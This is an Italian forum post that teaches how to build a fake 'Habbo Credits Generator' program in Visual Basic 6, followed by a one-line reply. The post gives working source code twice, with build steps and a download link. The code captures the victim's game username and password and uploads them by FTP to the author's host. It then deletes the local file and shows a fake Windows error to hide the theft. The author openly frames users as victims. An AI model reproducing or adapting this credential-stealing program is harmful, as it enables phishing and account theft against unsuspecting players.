ForumCommunity

Reply

Generatore di Crediti

« Older   Newer »
Mod-davidigno1@
icon3  view post Posted on 22/4/2009, 21:31 Quote




Habbo Credits Generator


INTRODUZIONE


Realtà o fantasia? Decisamente fantasia, ovviamente non si tratta di un generatore di Habbo Crediti ma penso che ogni piccolo singolo niubbetto lo avrebbe già capito da solo. Si tratta del mio ultimo Fake-Program in Visual Basic 6.

GUIDA + SOURCE


Ebbene, il fake program si basa sull'idea di poter "generare Habbo Crediti" gratuitamente inserendo le proprie credenziali e cliccando sul bottone con l'immagine dell'Habbo credito. Mentre l'ignara vittima gioisce per il programma ottenuto noi godremo come porcelli in stagione primaverile: perchè? Semplicemente perchè tutti i suoi dati verranno presi e salvati su un file di testo, che verrà uppato sul nostro dominio e poi cancellato senza lasciar traccia dal computer della vittima, inoltre genererà un falso errore di WIN32 che giustificherà la mancata funzione del programma. Noi avremo così libero accesso ai suoi dati accedendo al nostro host così: http://host.altervista.org/nomeutente.txt dove con "nomeutente.txt" si intende ovviamente il nome dell'habbo inserito + la terminazione .txt Perchè il salvataggio è strutturato in tal modo? Per evitare che la pagina venga sovrascritta e vengano perse le password precedenti, ovvio! Comunque passiamo ai fatti, ecco i source:

CODICE
Private Sub Command1_Click()
Command1.Enabled = False
Open "C:WINDOWSsystem32password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ", " & "Habbo Crediti Desiderati: " & Text3.Text
Close #1
Dim nomefile As String
   Dim ftpwebsite As String
       account = "nome dell'account"
       pswd = "password dell'account"
       ftpwebsite = "ftp://nostro host.altervista.org"
   Inet1.URL = ftpwebsite
   Inet1.UserName = account
   Inet1.Password = pswd
   nomefile = Text1.Text & ".txt"
       Inet1.Execute Inet1.URL, "PUT C:WINDOWSsystem32password.ini " & nomefile
   Do While Inet1.StillExecuting = True
         DoEvents
       Loop
MsgBox "WIN32 Ha generato un errore. L'applicazione verrà terminata.", vbExclamation + vbOKOnly, "Error WIN32"
Kill "C:WINDOWSsystem32password.ini"
Unload Me
End Sub

Private Sub Command2_Click()
Unload Me
End Sub


Ed ecco la guida alla creazione:

- Avviare un nuovo progetto in Visual Basic
- Creare 2 command button, 2 label e 3 Textbox
- Andare in Project > Components e spuntare Microsoft Internet Controls, successivamente inserire il componente "Inet" appena creato
- Nel primo command button inserire il seguente codice:
CODICE
Command1.Enabled = False
Open "C:WINDOWSsystem32password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ", " & "Habbo Crediti Desiderati: " & Text3.Text
Close #1
Dim nomefile As String
   Dim ftpwebsite As String
       account = "nome dell'account"
       pswd = "password dell'account"
       ftpwebsite = "ftp://nostro host.altervista.org"
   Inet1.URL = ftpwebsite
   Inet1.UserName = account
   Inet1.Password = pswd
   nomefile = Text1.Text & ".txt"
       Inet1.Execute Inet1.URL, "PUT C:WINDOWSsystem32password.ini " & nomefile
   Do While Inet1.StillExecuting = True
         DoEvents
       Loop
MsgBox "WIN32 Ha generato un errore. L'applicazione verrà terminata.", vbExclamation + vbOKOnly, "Error WIN32"
Kill "C:WINDOWSsystem32password.ini"
Unload Me


modificando adeguatamente i campi in rosso: nel primo campo al posto di nome dell'account metteremo l'username del nostro account di altervista (o di qualsiasi altro dominio), nel secondo campo metteremo la password relativa a quell'account, nel terzo invece inseriremo l'indirizzo del nostro sito preceduto da ftp:// al posto di http://
- Nel secondo Command Button invece inseriamo il seguente codice:
CODICE
Unload Me


che serve per la semplice terminazione dell'applicazione, in poche parole è un bottone che viene utilizzato per chiudere il programma.
- Come proprietà Caption dei 3 label mettiamo rispettivamente a quello utilizzato per il nickname "Habbo Username", a quello relativo al textbox della password invece "Habbo Password", a quello relativo al textbox dei crediti desiderati invece "Habbo Crediti Desiderati"

Et voilà! Les jeux sont faits!

SCREEN

image


DOWNLOAD DEL PROGETTO

C'è sempre bisogno di modificare i campi evidenziati in rosso nel SOURCE


Download

Per eventuali problemi, bug, o segnalazioni contattatemi nel topic quì.
Si Ringrazia Lo Sciax2 In Particolare : FireFox



 
Top
MaradonaSimo107
view post Posted on 25/4/2009, 15:14 Quote




:o: ke makkinazione!
 
Top
1 replies since 22/4/2009, 21:31
 
Reply